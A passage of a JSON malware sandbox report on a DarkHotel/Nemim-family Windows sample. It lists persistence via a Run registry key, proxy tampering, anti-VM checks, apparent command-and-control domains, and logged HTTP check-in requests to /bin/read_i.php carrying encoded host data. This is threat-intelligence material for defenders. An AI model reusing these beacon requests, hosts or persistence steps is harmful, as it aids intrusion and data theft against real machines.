\"sysadmin@jaring.my1\"","origin":"File/Memory","mitre_attack_id":"T1114","relevance":3,"id":"string-63","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"\"igfxext.exe.bin\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"\n \"igfxext.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"","origin":"Binary File","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Modifies auto-execute functionality by setting/creating a value in the registry","description":"\".exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\")\n \".exe\" (Access type: \"SETVAL\"; Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\"; Key: \"IGFXEXT.EXE\"; Value: \"%APPDATA%\\Sun\\Java\\jre2.5.8\\igfxext.exe /\")\n \".exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\")","origin":"Registry Access","mitre_attack_id":"T1547.001","relevance":8,"id":"registry-0","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 199.59.243.200 on port 80 is sent without HTTP header\n TCP traffic to 153.92.0.100 on port 80 is sent without HTTP header\n TCP traffic to 104.19.185.120 on port 443 is sent without HTTP header\n TCP traffic to 185.27.134.93 on port 80 is sent without HTTP header","origin":"Network Traffic","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"level":"suspicious","category":"Network Related","name":"Uses a User Agent typical for browsers, although no browser was ever launched","description":"Found user agent(s): Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)","origin":"Network Traffic","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Checks warning level of secure to non-secure traffic redirection","description":"\"igfxext.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"WARNONHTTPSTOHTTPREDIRECT\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":7,"id":"registry-9","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"level":"suspicious","category":"Remote Access Related","name":"Reads terminal service related keys (often RDP related)","description":"\"igfxext.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TERMINAL SERVER\"; Key: \"TSUSERENABLED\")\n \"igfxext.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TERMINAL SERVER\"; Key: \"TSAPPCOMPAT\")","origin":"Registry Access","mitre_attack_id":"T1021.001","relevance":10,"id":"registry-61","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"\"%APPDATA%\\Sun\\Java\\jre2.5.8\\igfxext.exe\" marked \"%TEMP%\\Tar601F.tmp\" for deletion","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"$2c","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"level":"suspicious","category":"System Security","name":"Modifies Software Policy Settings","description":"$2d","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-19","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"igfxext.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYENABLE\"; Value: \"00000000\")\n \"igfxext.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYSERVER\")\n \"igfxext.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYOVERRIDE\")\n \"igfxext.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"igfxext.exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"level":"suspicious","category":"System Security","name":"Queries sensitive IE security settings","description":"\"igfxext.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":8,"id":"registry-36","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"CRC value set in PE header does not match actual value","description":"\"1d24d8268c2f8e82b65d58429c166367eee9683c38a1408910536d8084f4ad46.bin\" claimed CRC 657014 while the actual is CRC 667939\n \"igfxext.exe.bin\" claimed CRC 52401 while the actual is CRC 38541","origin":"Static Parser","relevance":10,"id":"static-0","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Entrypoint in PE header is within an uncommon section","description":"\"1d24d8268c2f8e82b65d58429c166367eee9683c38a1408910536d8084f4ad46.bin\" has an entrypoint in section \".rtxt\"","origin":"Static Parser","relevance":10,"id":"static-4","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"RegDeleteKeyA\n RegCloseKey\n RegDeleteValueA\n RegCreateKeyExA\n RegOpenKeyExA\n GetFileAttributesA\n WriteFile\n CopyFileA\n GetModuleFileNameA\n UnhandledExceptionFilter\n GetModuleHandleA\n GetSystemDirectoryA\n TerminateProcess\n GetTickCount\n GetVersionExA\n LoadLibraryA\n GetStartupInfoA\n CreateDirectoryA\n DeleteFileA\n GetProcAddress\n FindFirstFileA\n FindNextFileA\n IsDebuggerPresent\n CreateFileA\n GetCommandLineA\n GetModuleHandleW\n Sleep\n VirtualAlloc\n FindWindowA\n SetSecurityDescriptorDacl\n GetUserNameA\n GetComputerNameA\n HttpSendRequestA\n InternetReadFile\n InternetCloseHandle\n InternetOpenA\n InternetConnectA\n HttpQueryInfoA","origin":"Static Parser","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"$2e","origin":"Hook Detection","mitre_attack_id":"T1056.004","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Reads information about supported languages","description":"\".exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EMPTY\")\n \".exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \".exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \".exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"igfxext.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"igfxext.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"igfxext.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EMPTY\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"level":"malicious","category":"Environment Awareness","name":"The input sample contains a known anti-VM trick","description":"Found VM detection artifact \"VMware trick\" in \"1d24d8268c2f8e82b65d58429c166367eee9683c38a1408910536d8084f4ad46.bin\" (Offset: 613709)","origin":"Binary File","mitre_attack_id":"T1497","relevance":5,"id":"binary-8","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"level":"malicious","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET MALWARE W32.Nemim Checkin\" (SID: 2017599, Rev: 5, Severity: 1) categorized as \"Malware Command and Control Activity Detected\" (PUA/PUP/Adware)","origin":"Suricata Alerts","relevance":10,"id":"suricata-2","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"21/37 Antivirus vendors marked sample as malicious (56% detection rate)\n 47/69 Antivirus vendors marked sample as malicious (68% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"21/37 Antivirus vendors marked sample as malicious (56% detection rate)\n 47/69 Antivirus vendors marked sample as malicious (68% detection rate)","origin":"External System","relevance":8,"id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"level":"malicious","category":"General","name":"The analysis extracted a file that was identified as malicious","description":"57/68 Antivirus vendors marked dropped file \"igfxext.exe.bin\" as malicious (classified as \"Gen:Variant.DarkHotel\" with 83% detection rate)\n 57/68 Antivirus vendors marked dropped file \"igfxext.exe\" as malicious (classified as \"Gen:Variant.DarkHotel\" with 83% detection rate)","origin":"Binary File","relevance":10,"id":"binary-11","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"level":"malicious","category":"General","name":"The analysis spawned a process that was identified as malicious","description":"57/68 Antivirus vendors marked spawned process \"igfxext.exe\" (PID: 3508) as malicious (classified as \"Gen:Variant.DarkHotel\" with 83% detection rate)\n 57/68 Antivirus vendors marked spawned process \"igfxext.exe\" (PID: 3464) as malicious (classified as \"Gen:Variant.DarkHotel\" with 83% detection rate)","origin":"Monitored Target","relevance":10,"id":"target-58","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"\".exe\" wrote 32 bytes to a remote process \"%APPDATA%\\Sun\\Java\\jre2.5.8\\igfxext.exe\" (Handle: 152)\n \".exe\" wrote 52 bytes to a remote process \"%APPDATA%\\Sun\\Java\\jre2.5.8\\igfxext.exe\" (Handle: 152)\n \".exe\" wrote 4 bytes to a remote process \"%APPDATA%\\Sun\\Java\\jre2.5.8\\igfxext.exe\" (Handle: 152)\n \".exe\" wrote 8 bytes to a remote process \"%APPDATA%\\Sun\\Java\\jre2.5.8\\igfxext.exe\" (Handle: 152)","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"level":"malicious","category":"Network Related","name":"Malicious artifacts seen in the context of a contacted host","description":"$2f","origin":"Network Traffic","relevance":10,"id":"network-21","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Checks for a resource fork (ADS) file","description":"\"igfxext.exe\" checked file \"C:\"","origin":"API Call","mitre_attack_id":"T1564.004","relevance":5,"id":"api-35","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]}],"incidents":[{"name":"Remote Access","details_count":1,"details":[{"detail":"Reads terminal service related keys (often RDP related)"}],"sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"name":"Persistence","details_count":2,"details":[{"detail":"Writes data to a remote process"},{"detail":"Modifies auto-execute functionality by setting/creating a value in the registry"}],"sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"name":"Fingerprint","details_count":6,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Reads the cryptographic machine GUID"},{"detail":"Reads the windows installation language"},{"detail":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)"},{"detail":"Reads the active computer name"},{"detail":"Queries sensitive IE security settings"}],"sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"name":"Evasive","details_count":2,"details":[{"detail":"Marks file for deletion"},{"detail":"The input sample contains a known anti-VM trick"}],"sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 5 domains and 5 hosts"}],"sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]}]},"activity":{"stats":{"process_count":3,"spawned_processes_count":3,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":6,"imported_dlls_count":82,"dropped_files_count":0,"extracted_files_count":14,"files_written_count":2,"files_deleted_count":0,"registry_keys_created_count":6,"registry_keys_modified_count":0,"registry_keys_deleted_count":6,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":12,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":4,"dns_resolutions_count":5,"contacted_urls_count":7,"http_requests_count":7},"behavior_tags":["agent","garveep","mailpassview","nemim","tapaoux"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"61f9815f13de3845943bf78b","environment_id":120,"environment_description":"Windows 7 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Pioneer.D","contacted_countries":["DEU","GBR","USA"],"submit_name":"1d24d8268c2f8e82b65d58429c166367eee9683c38a1408910536d8084f4ad46","analysis_start_time":"2022-02-01T18:52:19+00:00","indicators_count":{"informative":24,"suspicious":29,"malicious":12},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"199.59.243.200","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"address":"153.92.0.100","port":80,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"address":"104.19.185.120","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"address":"185.27.134.93","port":80,"protocol":"TCP","country":"United Kingdom","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]}],"dns_resolutions":[{"domain":"auto24col.info","ttl":1800,"country":"-","registrar_name":"GoDaddy.com, LLC","registrar_organization":"Domains By Proxy, LLC","registrar_name_servers":"NS1.ECHO-SOURCE.COM","registrar_creation_date":"2013-05-09T18:29:56+00:00","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"domain":"autoinsurance.000space.com","address":"185.27.134.93","ttl":21600,"country":"United Kingdom","registrar_name":"PDR Ltd. d/b/a PublicDomainRegistry.com","registrar_organization":"Privacy Protection Service INC d/b/a PrivacyProtect.org","registrar_name_servers":"NS1.000SPACE.COM","registrar_creation_date":"2009-02-28T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"domain":"autonomy.host22.com","address":"153.92.0.100","ttl":600,"country":"Germany","registrar_name":"GODADDY.COM, LLC","registrar_organization":"Hostinger International Ltd.","registrar_name_servers":"DNS1.000WEBHOST.COM","registrar_creation_date":"2009-04-30T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"domain":"autoparts.phpnet.us","address":"199.59.243.200","ttl":21600,"country":"United States","registrar_name":"NAMECHEAP, INC.","registrar_name_servers":"NS1.BYET.ORG","registrar_creation_date":"2006-05-17T17:08:39+00:00","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"domain":"autozone.000space.com","address":"199.59.243.200","ttl":21600,"country":"United States","registrar_name":"PDR Ltd. d/b/a PublicDomainRegistry.com","registrar_organization":"Privacy Protection Service INC d/b/a PrivacyProtect.org","registrar_name_servers":"NS1.000SPACE.COM","registrar_creation_date":"2009-02-28T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]}],"http_requests":[{"host":"autozone.000space.com","host_ip":"199.59.243.200:80","url":"/bin/read_i.php?a1=PklmOzwiN3pQKiAPFQ==&a2=fc8b407cbdb7010aee8d9c5e475bfbec&a3=RBsidmgUPjtdGzwdCWpybC0MSgonKDM7LRE6OiN7fh8rOHBgeHN3cVRyLQpFagtsbBlcaxtpZ3ZcMxQ/KCdlH1FZCC0nKW8aVG4MKC5qDXlhe0p4fmkxeFw6WnljeX0KMANsKjp5ZxsEPTsdFmoHH3ZpKyIgLSg7D1pNax05IisdCiMhJykmJF1mZkQZOHZsGRo+aw0mMiIIQFp7cSk/c1g3NTxoJCY6GW51WEpzemJ9f0RlfH12Yk5JWmtlCQx1S0sUeXpzdgw4Z3MaCXQ=","method":"GET","header":"GET /bin/read_i.php?a1=PklmOzwiN3pQKiAPFQ==&a2=fc8b407cbdb7010aee8d9c5e475bfbec&a3=RBsidmgUPjtdGzwdCWpybC0MSgonKDM7LRE6OiN7fh8rOHBgeHN3cVRyLQpFagtsbBlcaxtpZ3ZcMxQ/KCdlH1FZCC0nKW8aVG4MKC5qDXlhe0p4fmkxeFw6WnljeX0KMANsKjp5ZxsEPTsdFmoHH3ZpKyIgLSg7D1pNax05IisdCiMhJykmJF1mZkQZOHZsGRo+aw0mMiIIQFp7cSk/c1g3NTxoJCY6GW51WEpzemJ9f0RlfH12Yk5JWmtlCQx1S0sUeXpzdgw4Z3MaCXQ= HTTP/1.1\nUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)\nHost: autozone.000space.com\nConnection: Keep-Alive\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"host":"autoparts.phpnet.us","host_ip":"199.59.243.200:80","url":"/bin/read_i.php?a1=PklnOzwiN3pQKiAPFQ==&a2=fc8b407cbdb7010aee8d9c5e475bfbec&a3=RBsidmgUPjtdGzwdCWpybC0MSgonKDM7LRE6OiN7fh8rOHBgeHN3cVRyLQpFagtsbBlcaxtpZ3ZcMxQ/KCdlH1FZCC0nKW8aVG4MKC5qDXlhe0p4fmkxeFw6WnljeX0KMANsKjp5ZxsEPTsdFmoHH3ZpKyIgLSg7D1pNax05IisdCiMhJykmJF1mZkQZOHZsGRo+aw0mMiIIQFp7cSk/c1g3NTxoJCY6GW51WEpzemJ9f0RlfH12Yk5JWmtlCQx1S0sUeXpzdgw4Z3MaCXQ=","method":"GET","header":"GET /bin/read_i.php?a1=PklnOzwiN3pQKiAPFQ==&a2=fc8b407cbdb7010aee8d9c5e475bfbec&a3=RBsidmgUPjtdGzwdCWpybC0MSgonKDM7LRE6OiN7fh8rOHBgeHN3cVRyLQpFagtsbBlcaxtpZ3ZcMxQ/KCdlH1FZCC0nKW8aVG4MKC5qDXlhe0p4fmkxeFw6WnljeX0KMANsKjp5ZxsEPTsdFmoHH3ZpKyIgLSg7D1pNax05IisdCiMhJykmJF1mZkQZOHZsGRo+aw0mMiIIQFp7cSk/c1g3NTxoJCY6GW51WEpzemJ9f0RlfH12Yk5JWmtlCQx1S0sUeXpzdgw4Z3MaCXQ= HTTP/1.1\nUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)\nHost: autoparts.phpnet.us\nConnection: Keep-Alive\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"host":"autoparts.phpnet.us","host_ip":"199.59.243.200:80","url":"/bin/read_i.php?a1=PklnOzwiN3pQKiAPFQ==&a2=fc8b407cbdb7010aee8d9c5e475bfbec&a3=RBsidmgUPjtdGzwdCWpybC0MSgonKDM7LRE6OiN7fh8rOHBgeHN3cVRyLQpFagtsbBlcaxtpZ3ZcMxQ/KCdlH1FZCC0nKW8aVG4MKC5qDXlhe0p4fmkxeFw6WnljeX0KMANsKjp5ZxsEPTsdFmoHH3ZpKyIgLSg7D1pNax05IisdCiMhJykmJF1mZkQZOHZsGRo+aw0mMg==","method":"GET","header":"GET /bin/read_i.php?a1=PklnOzwiN3pQKiAPFQ==&a2=fc8b407cbdb7010aee8d9c5e475bfbec&a3=RBsidmgUPjtdGzwdCWpybC0MSgonKDM7LRE6OiN7fh8rOHBgeHN3cVRyLQpFagtsbBlcaxtpZ3ZcMxQ/KCdlH1FZCC0nKW8aVG4MKC5qDXlhe0p4fmkxeFw6WnljeX0KMANsKjp5ZxsEPTsdFmoHH3ZpKyIgLSg7D1pNax05IisdCiMhJykmJF1mZkQZOHZsGRo+aw0mMg== HTTP/1.1\nUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)\nHost: autoparts.phpnet.us\nConnection: Keep-Alive\nCache-Control: no-cache\nCookie: parking_session=999bbb5b-5189-192d-3101-cb27ae36736d","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"host":"autonomy.host22.com","host_ip":"153.92.0.100:80","url":"/bin/read_i.php?a1=PkloOzwiN3pQKiAPFQ==&a2=fc8b407cbdb7010aee8d9c5e475bfbec&a3=RBsidmgUPjtdGzwdCWpybC0MSgonKDM7LRE6OiN7fh8rOHBgeHN3cVRyLQpFagtsbBlcaxtpZ3ZcMxQ/KCdlH1FZCC0nKW8aVG4MKC5qDXlhe0p4fmkxeFw6WnljeX0KMANsKjp5ZxsEPTsdFmoHH3ZpKyIgLSg7D1pNax05IisdCiMhJykmJF1mZkQZOHZsGRo+aw0mMiIIQFp7cSk/c1g3NTxoJCY6GW51WEpzemJ9f0RlfH12Yk5JWmtlCQx1S0sUeXpzdgw4Z3MaCXQ=","method":"GET","header":"GET /bin/read_i.php?a1=PkloOzwiN3pQKiAPFQ==&a2=fc8b407cbdb7010aee8d9c5e475bfbec&a3=RBsidmgUPjtdGzwdCWpybC0MSgonKDM7LRE6OiN7fh8rOHBgeHN3cVRyLQpFagtsbBlcaxtpZ3ZcMxQ/KCdlH1FZCC0nKW8aVG4MKC5qDXlhe0p4fmkxeFw6WnljeX0KMANsKjp5ZxsEPTsdFmoHH3ZpKyIgLSg7D1pNax05IisdCiMhJykmJF1mZkQZOHZsGRo+aw0mMiIIQFp7cSk/c1g3NTxoJCY6GW51WEpzemJ9f0RlfH12Yk5JWmtlCQx1S0sUeXpzdgw4Z3MaCXQ= HTTP/1.1\nUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)\nHost: autonomy.host22.com\nConnection: Keep-Alive\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"host":"autoinsurance.000space.com","host_ip":"185.27.134.93:80","url":"/bin/read_i.php?a1=PklpOzwiN3pQKiAPFQ==&a2=fc8b407cbdb7010aee8d9c5e475bfbec&a3=RBsidmgUPjtdGzwdCWpybC0MSgonKDM7LRE6OiN7fh8rOHBgeHN3cVRyLQpFagtsbBlcaxtpZ3ZcMxQ/KCdlH1FZCC0nKW8aVG4MKC5qDXlhe0p4fmkxeFw6WnljeX0KMANsKjp5ZxsEPTsdFmoHH3ZpKyIgLSg7D1pNax05IisdCiMhJykmJF1mZkQZOHZsGRo+aw0mMiIIQFp7cSk/c1g3NTxoJCY6GW51WEpzemJ9f0RlfH12Yk5JWmtlCQx1S0sUeXpzdgw4Z3MaCXQ=","method":"GET","header":"GET /bin/read_i.php?a1=PklpOzwiN3pQKiAPFQ==&a2=fc8b407cbdb7010aee8d9c5e475bfbec&a3=RBsidmgUPjtdGzwdCWpybC0MSgonKDM7LRE6OiN7fh8rOHBgeHN3cVRyLQpFagtsbBlcaxtpZ3ZcMxQ/KCdlH1FZCC0nKW8aVG4MKC5qDXlhe0p4fmkxeFw6WnljeX0KMANsKjp5ZxsEPTsdFmoHH3ZpKyIgLSg7D1pNax05IisdCiMhJykmJF1mZkQZOHZsGRo+aw0mMiIIQFp7cSk/c1g3NTxoJCY6GW51WEpzemJ9f0RlfH12Yk5JWmtlCQx1S0sUeXpzdgw4Z3MaCXQ= HTTP/1.1\nUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)\nHost: autoinsurance.000space.com\nConnection: Keep-Alive\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"host":"autoinsurance.000space.com","host_ip":"185.27.134.93:80","url":"/bin/read_i.php?a1=PklpOzwiN3pQKiAPFQ==&a2=fc8b407cbdb7010aee8d9c5e475bfbec&a3=RBsidmgUPjtdGzwdCWpybC0MSgonKDM7LRE6OiN7fh8rOHBgeHN3cVRyLQpFagtsbBlcaxtpZ3ZcMxQ/KCdlH1FZCC0nKW8aVG4MKC5qDXlhe0p4fmkxeFw6WnljeX0KMANsKjp5ZxsEPTsdFmoHH3ZpKyIgLSg7D1pNax05IisdCiMhJykmJF1mZkQZOHZsGRo+aw0mMg==","method":"GET","header":"GET /bin/read_i.php?a1=PklpOzwiN3pQKiAPFQ==&a2=fc8b407cbdb7010aee8d9c5e475bfbec&a3=RBsidmgUPjtdGzwdCWpybC0MSgonKDM7LRE6OiN7fh8rOHBgeHN3cVRyLQpFagtsbBlcaxtpZ3ZcMxQ/KCdlH1FZCC0nKW8aVG4MKC5qDXlhe0p4fmkxeFw6WnljeX0KMANsKjp5ZxsEPTsdFmoHH3ZpKyIgLSg7D1pNax05IisdCiMhJykmJF1mZkQZOHZsGRo+aw0mMg== HTTP/1.1\nUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)\nHost: autoinsurance.000space.com\nConnection: Keep-Alive\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"61f9815f13de3845943bf78b"}]},{"host":"autoinsurance.000space.com","host_ip":"185.27.134.93:80","url":"/bin/read_i.php?a1=PklpOzwiN3pQKiAPFQ==&a2=fc8b407cbdb7010aee8d9c5e475bfbec&a3=RBsidmgUPjtdGzwdCWpybC0MSgonKDM7LRE6OiN7fh8rOHBgeHN3cVRyLQpFagtsbBlcaxtpZ3ZcMxQ/KCdlH1FZCC0nKW8aVG4MKC5qDXlhe0p4fmkxeFw6WnljeX0K","method":"GET","header":"GET /bin/read_i.php?a1=PklpOzwiN3pQKiAPFQ==&a2=fc8b407cbdb7010aee8d9c5e475bfbec&a3=RBsidmgUPjtdGzwdCWpybC0MSgonKDM7LRE6OiN7fh8rOHBgeHN3cVRyLQpFagtsbBlcaxtpZ3ZcMxQ/KCdlH1FZCC0nKW8aVG4MKC5qDXlhe0p4fmkxeFw6WnljeX0K HTTP/1.1\nUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)\nHost: autoinsurance.000space.com\nConnection: Keep-Alive\nCache-Control: 